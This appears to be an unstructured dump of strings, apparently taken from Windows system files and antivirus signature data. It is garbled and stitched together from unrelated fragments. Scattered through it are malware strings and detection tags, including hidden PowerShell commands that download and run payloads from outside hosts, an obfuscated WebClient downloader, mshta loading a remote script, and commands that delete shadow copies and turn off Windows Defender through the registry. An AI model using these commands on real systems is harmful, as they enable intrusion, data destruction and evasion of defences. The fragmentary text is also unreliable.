\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
urldownloadtofile, %web%/%kimlikfile%filecreatedir, %sdrive%\windows\adobeflashapp appid="%kimlik%run, %sdrive%\windows\adobeflash\%a_scriptname%dllcall(shellexecute, uint, 0, str, "runas",&
v'c:\windows
5bS::removingwindowssecurityapplication
c:\windows\b
WindowsFormsApp
CloverPlus%s/ext.php?client=%%clientid%%windows\%sprv.cot%%windows\%s.cot%%windows\%sext.cot!#HSTR:Trojan:MSIL/AgentTesla.AMJ2095!MTB
8c:\windows\syF
Windows.Networking.BackgroundTransfer.Internal'
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Wil.FeatureLogging
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
%Microsoft Windows Production PCA 20110
Microsoft Windows0
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
-*c:\windows\system32\cmd.execonhost--headlesscmd/cfor/f
ComSpec=C:\WINDOWS\system32\cmd.exe
hklm","software\microsoft\windows\currentversion\apppaths\cmmgr32.exe
powershell-windowstylehidden-noprofile-executionpolicybypass-command
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.FeatureTuning
Microsoft.Windows.FeatureQuality
Microsoft.Windows.FeatureQuality
Microsoft.Windows.WilFeatures
Microsoft.Windows.FeatureTuning
lfsifr[asifepo:i+00/c:\v1tiwindows@owhtpv.}windowsz1tvsystem32bowhtv.zxl4system32f2srundll32.exejstyq.9d"rundll32.exeo-nc:\windows\system32\rundll32.exe)..\..\..\..\windows\system32\rundll32.exelipre.dll,ofwkrtfwjm"%systemroot%\system32\imageres.dll%windir%\system32\rundll32.exe%windir%\system32\rundll32.exe%wn]nd.q`xuser-pcb8c@c64.[>g
NameVersionScopeMicrosoft-Windows-MinWin-Security
WS\system32\Wind
c:\windows\system32\drivers\etc\
Microsoft-Windows-Shell-CriticalResultVerifier
Microsoft.Windows.Wil.FeatureLogging
Windows.Shell.ServiceHostBuilder.pdb
a*.pckgdep.|%WINDIR%\System32\svchost
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
i/Cic:\windows\system32\rundll32.exemu7en.dll,runobject
C:\Windows/
Software\Microsoft\Windows\Monogamist4\Uninstall\OmraaderS
Software\Microsoft\Windows\bespyttende\Uninstall\triveligereS
c:\windows\system32\cmd.exe/ccurl-oc:\programdata\
Windows.Defender.MpUxDlp
Microsoft.Windows.ControlPanel
x86_microsoft-windows-com-dtc-oraclesupport_31bf3856ad364e35_none_653b3db77d065463
x86_microsoft-windows-com-legacyole-olecli32_31bf3856ad364e35_none_81f864d2bb56041b
x86_microsoft-windows-com-legacyole_31bf3856ad364e35_none_172c454cc698b3cf
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_af-za_0d96267be33cf691
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_am-et_0ccf921fe3d0f6a2
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_ar-sa_0da21ca9e3323a94
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_as-in_0d167afbe39adba2
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_az-..-az_ae88f98d1e5506dd
x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_be-by_39fc4f7601f0a079
onecoreuap\Internal\BuildMetadata\cppwinrt\winrt\Windows.Storage.Streams.h
onecoreuap\Internal\BuildMetadata\cppwinrt\winrt\Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\cppwinrt\winrt/Windows.Storage.Streams.h
windows.protocol
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
windows.fileTypeAssociationC
Windows.Data.Common.Rect
Windows.Data.Platform.ItemReference
Windows.Data.Common.Color
OS=Windows_NT
Microsoft-Windows-Shell-CrossDeviceResume
Microsoft.Windows.AppXDeploymentClient
Microsoft.Windows.ApplicationModel.DesktopAppx
Internal@Windows@@8
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
#disableviaregistry(requiresadmin)$defenderpath="hklm:\software\policies\microsoft\windowsdefender"$realtimepath="$defenderpath\real-timeprotection
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\1http://a0671524.xsph.ru/bandage/precarious.xml/f%windir%\system32\shell32.dll%windir%
.vbe;c:\windows\system32\wscript.exec:\users\public\downloads\
c:\windows\system32\cmd.exe/cpowershell-command"$url='https://filekg-download-01.fra1.cdn.digitaloceanspaces.com/
c:\windows\system32\cmd.exe/kpowershell-whiddenpowershell-command(invoke-webrequest-uri"http://a0990779.xsph.ru/koarv.jpg"-usebasicparsing).content
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.CuratedTileCollection.Tile
Windows.Data.CuratedTileCollection.Group
Windows.Data.PlaceholderTileLogo
SLGetWindowsInformationDWORD
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsCompareStringOrdinal
windows.hlp`
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.CuratedTileCollection.TileCollectionContainer
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
GuldenRuche for WindowsG
internal\sdk\inc\cppwinrt\winrt\Windows.UI.ViewManagement.h
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsFormsApplication3.StudentsFee.resourcesW
Windows.Data.Common.Point
0-SCloudData.WindowsClient.DisableSyncOnActivityFeed
le password ne sertRemoving System32Sending bitcoin to MCTF AdminsAttempt to install rootkitAttempt to install rootkit hardertinyurl!#ALF:PUA:Win32/KuaiZip.HMR7
oShell = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://" + Base64Decode(Category + Language + Keywords + Comments) +/file.txt','%TEMP%\Yload.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Yload.ps1"
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
svcchostpowershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Urifindstr /R "[0-9]\.[0-9]\.[0-9]Disabling Google Chrome ProtectionWindows Defender is disabledDeleting C:\Symbols- SmartScreen is disabledTrojan:Win64/Tedy.SXA!MTB
Windows is still indexing this PC. Some results may not show in search y
.Superbill.Windows.
" Illustrator 2020\Support Files\Contents\Windows\0
\windows\ccm\ccmexec.exe
WindowsDeleteString
WindowsGetStringRawBuffer
SetWindowsHookExW
UnhookWindowsHookEx
EnumDesktopWindows
EnumWindows
EnumChildWindows
amd64_microsoft-windows-es-configurepassword_31bf3856ad364e35_none_39d932d4d0e5eaf4
amd64_microsoft-windows-es-shellextension_31bf3856ad364e35_none_cf8aa6b67b067638
amd64_microsoft-windows-esclprotocol_31bf3856ad364e35_none_ad01675e0388503f
amd64_microsoft-windows-esclscan_31bf3856ad364e35_none_b02e37132e3430f4
amd64_microsoft-windows-esdsip_31bf3856ad364e35_none_579d3cd64508af1c
amd64_microsoft-windows-etw-core_31bf3856ad364e35_none_1bf288b054376098
amd64_microsoft-windows-etw-rundown_31bf3856ad364e35_none_55c398e1d5ef47ec
amd64_microsoft-windows-eudc-settings_31bf3856ad364e35_none_147c737361db4843
amd64_microsoft-windows-eudcedit.resources_31bf3856ad364e35_en-us_44895f82dee55068
s\system32\cm
^windows.appExtens
^windows.appExtension(
60^windows.appExtension
windows\\system32\\spool\\drivers\\.+I
x86\))?\\windows photo viewer\\
50^com.microsoft.windows.extensions.xaml.taskbar
com.microsoft.windows.extensions.xaml.taskbar
51^com.microsoft.windows.assetreference
com.microsoft.windows.assetreference
\Release\Teste.pdb\Microsoft\Windows\Start Menu\Programs\Startup\serverjarvis.sytes.net/resource_vir/command.php?version=
c:\windows\system32\cmd.exe
cmd.exe /c powershell.exe -windowstyle hidden -noprofile -executionpolicy bypass $path = $env:temp + '\' + '
vssadmin delete shadowstorage /all /quietreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
Windows.UI.Xaml.Controls.TileGridElementAnimatingEventArgs
Windows.UI.Xaml.Controls.TileGridNestedPanel
Windows.UI.Xaml.Controls.TimePickedEventArgs
Windows.UI.Xaml.Controls.TimePicker
Windows.UI.Xaml.Controls.TimePickerFlyout
Windows.UI.Xaml.Controls.TimePickerFlyoutPresenter
Windows.UI.Xaml.Controls.ToggleMenuFlyoutItem
Windows.UI.Xaml.Controls.ToggleSplitButton
Windows.UI.Xaml.Controls.ToggleSplitButtonAutomationPeer
Windows.UI.Xaml.Controls.ToggleSplitButtonIsCheckedChangedEventArgs
Windows Securityy
Microsoft.Windows.Launcher.Client
Microsoft.Windows.Audio.Client.Streaming
WINDOWS11
com.microsoft.windows.extensions.xaml.personacardmanagerR0
com.microsoft.windows.extensionpackage
esystem32\mshta
[c:\windows\system32\cmd.exe/kcurl-o%temp%\test
C:\Windows\SystemApps\Microsoft.
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft.Windows.WebDefense.SFAP.DebugTracing
Loading Windows subsystem DLL "%wZ" failed with status 0x%08lx
Locating procedure "%Z" in Windows subsystem DLL "%wZ" failed with status 0x%08lx
TermsrvGetWindowsDirectoryW
Windows Search
WindowsRuntime
Windows.Cortana.VisionHelper
Windows.Data.Html.HtmlUtilities
Windows.Data.Json.JsonArray
Windows.Data.Json.JsonError
Windows.Data.Json.JsonObject
Windows.Data.Json.JsonValue
Windows.Data.Pdf.Internal.PdfComponent
Windows.Data.Pdf.Internal.PdfControl
Windows.Data.Pdf.Internal.PdfStreamWrapper
Windows.AI.Actions.ActionRuntime
Windows.ApplicationModel.Activation.StartupTaskActivatedEventArgs
Windows.ApplicationModel.DataTransfer.TransferTarget
Windows.ApplicationModel.DataTransfer.TransferTargetDiscoveryOptions
Windows.ApplicationModel.DataTransfer.TransferTargetWatcher
Windows.ApplicationModel.Preview.StartupAppsManagerPreview
Windows.Devices.Bluetooth.Advertisement.BluetoothLEAdvertisementScanParameters
Windows.Devices.Haptics.InputHapticsManager
Windows.Devices.Printers.IppPrintDeviceManager
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Windows.Internal.Eap.Utility.EapTlsClientCertificateValidationArgs
Windows.Internal.Flighting.FeatureTuning.SmartFeatureTuningManager
Windows.Internal.GamingExperiences.Posture.GamingPostureConfiguration
Windows.Internal.PowerAdapter.PowerAdapter
Windows.Internal.Search.Indexer.AutoCategorizer
Windows.Internal.ShareTargetsAppExtension
Windows.Internal.Shell.ShareWindow.ShareWindowCommandTargetV2
Windows.Internal.Shell.ShareWindow.ShareWindowServerManager
Windows.Internal.Storage.Cloud.CloudStoreBatchSaveItemData
Windows.Internal.Storage.PerFolderRootInfo
Windows.Internal.Storage.PerFolderRootManager
Windows.Internal.SystemSettingsCommand.ActionSettingCommandAdapter
Windows.Internal.SystemSettingsCommand.BooleanSettingCommandAdapter
Windows.Internal.SystemSettingsCommand.DropdownSettingCommandAdapter
Windows.Internal.SystemSettingsCommand.RangeSettingCommandAdapter
Windows.Internal.SystemSettingsCommand.SettingCommand
Windows.Internal.SystemSettingsCommand.SettingCommandAdapterFactory
Windows.Internal.SystemSettingsCommand.SettingCommandDatabase
Windows.Internal.SystemSettingsCommand.SettingCommandDispatcher
Windows.Internal.SystemSettingsCommand.SettingCommandExecutionContext
Windows.Management.Update.WindowsSoftwareUpdateOptionalActionInfo
Windows.Management.Update.WindowsSoftwareUpdateOptionalInfo
Windows.Management.Update.WindowsSoftwareUpdateProvider
Windows.Management.Update.WindowsSoftwareUpdateProviderActionResult
Windows.Management.Update.WindowsSoftwareUpdateProviderStatus
Windows.Management.Update.WindowsSoftwareUpdateResult
Windows.Management.Update.WindowsSoftwareUpdateScanResult
Windows.Management.Update.WindowsSoftwareUpdateVersion
Windows.Management.Update.WindowsUpdateManagerScanOptions
Windows.System.Power.Thermal.PowerThermalChannelDataConsumer,
Windows.System.Power.Thermal.PowerThermalChannelDataProducer7B+'
Windows.System.Power.Thermal.PowerThermalChannelDiagnostics
Windows.System.Power.Thermal.PowerThermalChannelFinder(
Windows.UI.Input.PhysicalGestureRecognizer
Windows.UI.Input.Preview.Text.TextInputInserter_Exp1
Windows.UI.Input.Preview.Text.TextInputService
Windows.UI.Input.TouchpadGesturesController
WindowsInternal.ComposableShell.Experiences.Switcher.GamingPositionChangeAnimationProvider
WindowsInternal.ComposableShell.Experiences.Switcher.GamingTaskBarElementViewModel
WindowsUdk.ApplicationModel.DataTransfer.ShareTargetDiscoveryFilter
WindowsUdk.ApplicationModel.UserActivities.UserActivityManagerh
WindowsUdk.Devices.PointOfService.ImageBarcodeDecoder,.n
WindowsUdk.Graphics.Capture.CapturedWindowInfo8G
WindowsUdk.Graphics.Capture.DisplayCaptureWindowFilter4
WindowsUdk.Management.Update.EnterpriseFeatureControl
WindowsUdk.Media.Devices.CameraConfiguration58
WindowsUdk.Media.Playback.AudioSharingInfo
WindowsUdk.Security.Authentication.Web.Provider.ConnectedAccountCreationOptions#
WindowsUdk.Security.Authentication.Web.Provider.ConnectedAccountManager
WindowsUdk.Security.Authorization.AppCapabilityAccess.AppCapability
WindowsUdk.Security.Credentials.UI.PasskeySyncOTSData
WindowsUdk.Services.Iris.SystemProviders
WindowsUdk.Storage.ExtraFolderPropertiesInfo9
WindowsUdk.Storage.ExtraFolderPropertiesManager;
WindowsUdk.Storage.FullVolumeEncryptionStatus
WindowsUdk.Storage.Search.PolarisConfiguration
WindowsUdk.Storage.Search.SearchFolderHelper
WindowsUdk.System.A9Settings.A9OptionalComponentController
WindowsUdk.System.A9Settings.AutomatedCaptureController
WindowsUdk.System.A9Settings.DataExportOptions
WindowsUdk.System.ConnectedDevices.ConnectedDevicesExperienceManager[
WindowsUdk.System.Profile.SystemSettingsCommandCatalog@
WindowsUdk.System.Update.WindowsUpdateIconCommand
WindowsUdk.System.Update.WindowsUpdateIconIndicator
WindowsUdk.System.UserProfile.PersonalizedOffersSettings
WindowsUdk.System.UserProfile.UserSetupBackupRestoreManager
WindowsUdk.System.UserProfile.UserSetupIntentManager
WindowsUdk.System.UserProfile.UserSetupPrivacyManagerX
WindowsUdk.UI.Shell.ShellHostComponent
WindowsUdk.UI.Shell.SnapLaunchTarget
WindowsUdk.UI.Shell.SpeechRecognizerOptions
WindowsUdk.UI.Shell.Widgets.WidgetPickerOptionsi
WindowsUdk.UI.Shell.Widgets.WidgetRecommendationOptions
WindowsUdk.Web.WebView2.SharedWebViewEnvironmentManagerG
WindowsUdkInternal.UI.Themes.ThemeColors
Windows.AI.MachineLearning.MachineLearningContract
Windows.AI.MachineLearning.Preview.MachineLearningPreviewContract
Windows.ApplicationModel.Activation.ActivatedEventsContract
Windows.ApplicationModel.Activation.ActivationCameraSettingsContract
Windows.ApplicationModel.Activation.ContactActivatedEventsContract
Windows.ApplicationModel.Activation.WebUISearchActivatedEventsContract
Windows.ApplicationModel.Background.BackgroundAlarmApplicationContract
Windows.ApplicationModel.Calls.Background.CallsBackgroundContract
Windows.ApplicationModel.Calls.CallsPhoneContract
Windows.ApplicationModel.Calls.CallsVoipContract
Windows.ApplicationModel.Calls.LockScreenCallContract
Windows.ApplicationModel.CommunicationBlocking.CommunicationBlockingContract
Windows.ApplicationModel.FullTrustAppContract
Windows.ApplicationModel.Preview.InkWorkspace.PreviewInkWorkspaceContract
Windows.ApplicationModel.Preview.Notes.PreviewNotesContract
Windows.ApplicationModel.Resources.Management.ResourceIndexerContract
Windows.ApplicationModel.Search.Core.SearchCoreContract
Windows.ApplicationModel.Search.SearchContract
Windows.ApplicationModel.SocialInfo.SocialInfoContract
Windows.ApplicationModel.StartupTaskContract
Windows.ApplicationModel.Wallet.WalletContract
Windows.Devices.Custom.CustomDeviceContract
Windows.Devices.DevicesLowLevelContract
Windows.Devices.Portable.PortableDeviceContract
Windows.Devices.Power.PowerGridApiContract
Windows.Devices.Printers.Extensions.ExtensionsContract
Windows.Devices.Printers.PrintersContract
Windows.Devices.Scanners.ScannerDeviceContract
Windows.Devices.SmartCards.SmartCardBackgroundTriggerContract
Windows.Devices.SmartCards.SmartCardEmulatorContract
Windows.Devices.Sms.LegacySmsApiContract
Windows.Foundation.FoundationContract
Windows.Foundation.UniversalApiContract
Windows.Foundation.VelocityIntegration.VelocityIntegrationContract
Windows.Gaming.Input.GamingInputPreviewContract
Windows.Gaming.Preview.GamesEnumerationContract
Windows.Gaming.UI.GameChatOverlayContract
Windows.Gaming.UI.GamingUIProviderContract
Windows.Gaming.XboxLive.StorageApiContract
Windows.Globalization.GlobalizationJapanesePhoneticAnalyzerContract
Windows.Graphics.Printing3D.Printing3DContract
Windows.Management.Deployment.Preview.DeploymentPreviewContract
Windows.Management.Deployment.SharedPackageContainerContract
Windows.Management.Update.WindowsUpdateContract
Windows.Management.Workplace.WorkplaceSettingsContract
Windows.Media.AppBroadcasting.AppBroadcastingContract
Windows.Media.AppRecording.AppRecordingContract
Windows.Media.Capture.AppBroadcastContract
Windows.Media.Capture.AppCaptureContract
Windows.Media.Capture.AppCaptureMetadataContract
Windows.Media.Capture.CameraCaptureUIContract
Windows.Media.Capture.GameBarContract
Windows.Media.Devices.CallControlContract
Windows.Media.MediaControlContract
Windows.Media.Playlists.PlaylistsContract
Windows.Media.Protection.ProtectionRenewalContract
Windows.Networking.Connectivity.WwanContract
Windows.Networking.NetworkOperators.LegacyNetworkOperatorsContract
Windows.Networking.Sockets.ControlChannelTriggerContract
Windows.Networking.XboxLive.XboxLiveSecureSocketsContract
Windows.Perception.Automation.Core.PerceptionAutomationCoreContract
Windows.Security.EnterpriseData.EnterpriseDataContract
Windows.Security.ExchangeActiveSyncProvisioning.EasContract
Windows.Security.Isolation.IsolatedWindowsEnvironmentContract
Windows.Services.Maps.GuidanceContract
Windows.Services.Maps.LocalSearchContract
Windows.Services.Store.StoreContract
Windows.Services.TargetedContent.TargetedContentContract
Windows.Storage.Provider.CloudFilesContract
Windows.System.Profile.PlatformAutomaticAppSignInContract
Windows.System.Profile.ProfileHardwareTokenContract
Windows.System.Profile.ProfileRetailInfoContract
Windows.System.Profile.ProfileSharedModeContract
Windows.System.Profile.SystemManufacturers.SystemManufacturersContract
Windows.System.SystemManagementContract
Windows.System.UserProfile.UserProfileContract
Windows.System.UserProfile.UserProfileLockScreenContract
Windows.UI.ApplicationSettings.ApplicationsSettingsContract
Windows.UI.Core.AnimationMetrics.AnimationMetricsContract
Windows.UI.Core.CoreWindowDialogsContract
Windows.UI.Shell.SecurityAppManagerContract
Windows.UI.Shell.WindowTabManagerContract
Windows.UI.UIAutomation.UIAutomationContract
Windows.UI.ViewManagement.ViewManagementViewScalingContract
Windows.UI.Xaml.Core.Direct.XamlDirectContract
Windows.UI.Xaml.Hosting.HostingContract
Windows.Web.Http.Diagnostics.HttpDiagnosticsContract
Windows.AI.Actions.ActionsContract
Windows.AI.Agents.AgentsContract
Windows.ApplicationModel.Preview.StartupAppsPreviewContract
Windows.System.Power.Thermal.PowerThermalApiContract8
Windows.UI.Input.Preview.Text.PreviewTextContract
Windows.UI.Shell.CompanionWindows.CompanionWindowsContract
Windows.UI.Shell.Tasks.AppTaskContract
WindowsUpdate
Windows
com.microsoft.windows.acceleratedlaunch.1
com.microsoft.windows.ai.languagemodelg
com.microsoft.windows.remote_app_windowing_apis
com.microsoft.windows.startupappmanagement.1
com.microsoft.windows.storageprovidersuggestionshandler_v1
com.microsoft.windows.taskbar.pin
com.microsoft.windows.taskbar.requestPinSecondaryTile
com.microsoft.windows.textinputmethod
com.microsoft.windows.usersession.control
Windows.PinToHomeFile
Windows.pintostartscreen
Windows.SendToMyPhone
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ConsentPromptBehaviorEnhancedAdmin
28^windows.firewallRules
Windows.Management.Update.WindowsSoftwareUpdateProviderStatusk`
Windows.Management.Update.WindowsSoftwareUpdateResult.Co
Windows.Management.Update.WindowsSoftwareUpdateScanResult
Windows.Management.Update.WindowsSoftwareUpdateVersionCo
Windows.Management.Update.WindowsUpdateAdministrator
Windows.Management.Update.WindowsUpdateApprovalDataft.Wi
Windows.Management.Update.WindowsUpdateManagerhi
Windows.Management.Update.WindowsUpdateManagerScanOptions
Windows.Management.Update.WindowsUpdateRestartRequestOptionsure=
Windows.Security.Authentication.Web.Core.WebAuthenticationAddAccountResponses.Re
Windows.Security.Authentication.Web.Core.WebAuthenticationAddAccountResultoft.wi
Windows.Security.Authentication.Web.Core.WebAuthenticationTransferTokenRequestrs
Windows.Security.Credentials.KeyCredentialCacheConfigurationesou
Windows.Storage.Provider.StorageProviderQueryResultSetrs
Windows.Storage.Provider.StorageProviderSearchResultntro
Windows.Storage.Provider.StorageProviderSuggestionResult
Windows.UI.Input.PhysicalGestureRecognizeroft.wi
Windows.UI.Input.Preview.Text.TextInputInserter_Exp1ture
Windows.UI.Input.Preview.Text.TextInputService
Windows.UI.Input.TouchpadGesturesControllern-Con
WindowsUdk.AI.Actions.ActionsPolicyStorage6
WindowsUdk.AI.Actions.CustomActionEntityStorager
WindowsUdk.AI.Agents.Mcp.McpAccessManager Proces
WindowsUdk.AI.Agents.Mcp.McpConsentManagerfi-fi_
WindowsUdk.AI.ResourceManagement.AIProcessResourceManager4ccf1df
WindowsUdk.ApplicationModel.UserActivities.UserActivityManager
WindowsUdk.Devices.PointOfService.ImageBarcodeDecoder
WindowsUdk.Graphics.Capture.CapturedWindowInfo
Windows_Pursuit.Properties.Resources.resourcesW
&Global\USB_Infect.\RECYCLER\%s_SYSAF%02d%02d%02d%02d%02dcontrol\lsa /v forceguest /t REG_DWORD /d 0 /f%s\%s_SYSAF%02d%02d%02d%02d%02d%s /c echo RecoveryFile>%sWindows\Desktop.ini
Enter SetWindowsAPIHookE
Windows Address Book
Windows Disc Image Burner
Windows Search
Windows Media Player
Windows Photo Viewer
windows.yourphone.api
Temporary Projects\WindowsFormsApplication1\obj\x86\Release\WindowsFormsApplication1.pdb!#TEL:Trojan:Win64/Mikey.AHB!MTB
Software\Microsoft\Windows\CurrentVersion\Internet Settings
windows.hlp`
.P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUIWordBreaker@@@Z
Windows.UI.Xaml.Shapes
WindowSizeChangedEventHandler
Windows.Foundation
Windows.ApplicationModel
Windows.ApplicationModel.Activation
$windows.
$windows.
$windows.
$windows.
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|1~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
